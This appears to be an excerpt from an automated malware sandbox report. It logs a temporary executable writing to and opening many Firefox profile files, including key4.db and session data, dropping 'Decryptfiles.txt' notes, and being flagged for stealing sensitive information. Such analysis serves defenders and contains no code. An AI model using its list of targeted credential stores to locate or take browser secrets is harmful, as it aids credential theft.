Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695610.18a05d94-e006-440f-b702-3e398a280dbf.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\background-update
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\events
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\010cab1b-3626-48b5-9d6b-0e4dfe4db5fa
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\01e461df-d85d-4561-a852-205de2d67f32
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\054622d9-6ed7-4f25-87fd-b3a9cd668b65
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\12672553-cb8c-4210-ae02-a59c1a541208
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\58b46d46-b146-420f-81af-5b32c19a8aef
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\59bd13a9-8183-4ac7-8723-9621ae6d3748
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\5e0297e1-aa9b-4634-aaf1-cfd1f718b993
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6c257ec7-9ee7-4e42-91a6-7d3b50c23b76
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6db12043-3902-4d45-8c5d-d992fbf6d4e7
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\758d1c71-5fff-4193-9977-7a57afa68bf7
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7917ce80-55b3-46ca-99c2-70537bbb959a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7a27ea16-e265-40c0-823c-0125abf7d855
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7f0194d6-62d6-4174-a7ed-55ebc13aacb4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\b3c274f7-6fd8-4832-989b-74a48f86b6b5
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\c64980e6-c743-4793-ba4a-89f593d4eb16
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\e6e57dc0-d354-4d4a-8374-548b8e2bcc5d
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\f5c2d345-4cad-4c1a-a51d-15d682036066
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\ExperimentStoreData.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-wal.kIhf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\parent.lock.FXRH
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal.YNXd
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\18a05d94-e006-440f-b702-3e398a280dbf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\2c8e5eea-375d-48a9-ad4c-be583ff1215d
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\3be89113-af2b-4b48-9c47-40ac1156f7a2
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\3be89113-af2b-4b48-9c47-40ac1156f7a2
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6260e81e-5ef5-4137-a0a5-7930ea6f0a75
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6260e81e-5ef5-4137-a0a5-7930ea6f0a75
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6786f292-c1be-4996-99cd-77aa855c1844
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\edd11145-a3b3-4ebf-ba7b-14b7ec08f19f
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\edd11145-a3b3-4ebf-ba7b-14b7ec08f19f
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\ff032c8b-05e6-43c9-9e84-732dbe7aca27
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\ff032c8b-05e6-43c9-9e84-732dbe7aca27
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\SiteSecurityServiceState.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\.metadata-v2
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.YnEI
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.ljOI
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.tiBv
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.gJOW
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.hQNu
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.MclI
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\times.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-wal.nxmV
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\xulstore.json.EBes
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\times.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Stealing of Sensitive Information

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\59bd13a9-8183-4ac7-8723-9621ae6d3748
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6c257ec7-9ee7-4e42-91a6-7d3b50c23b76
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\010cab1b-3626-48b5-9d6b-0e4dfe4db5fa
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\compatibility.ini
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695610.18a05d94-e006-440f-b702-3e398a280dbf.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\f5c2d345-4cad-4c1a-a51d-15d682036066
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\054622d9-6ed7-4f25-87fd-b3a9cd668b65
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\12672553-cb8c-4210-ae02-a59c1a541208
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\c64980e6-c743-4793-ba4a-89f593d4eb16
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\5e0297e1-aa9b-4634-aaf1-cfd1f718b993
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\containers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\b3c274f7-6fd8-4832-989b-74a48f86b6b5
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7b2ddd96-6d27-491a-a7e0-811ed320f1f0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6db12043-3902-4d45-8c5d-d992fbf6d4e7
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690337.3be89113-af2b-4b48-9c47-40ac1156f7a2.new-profile.jsonlz4
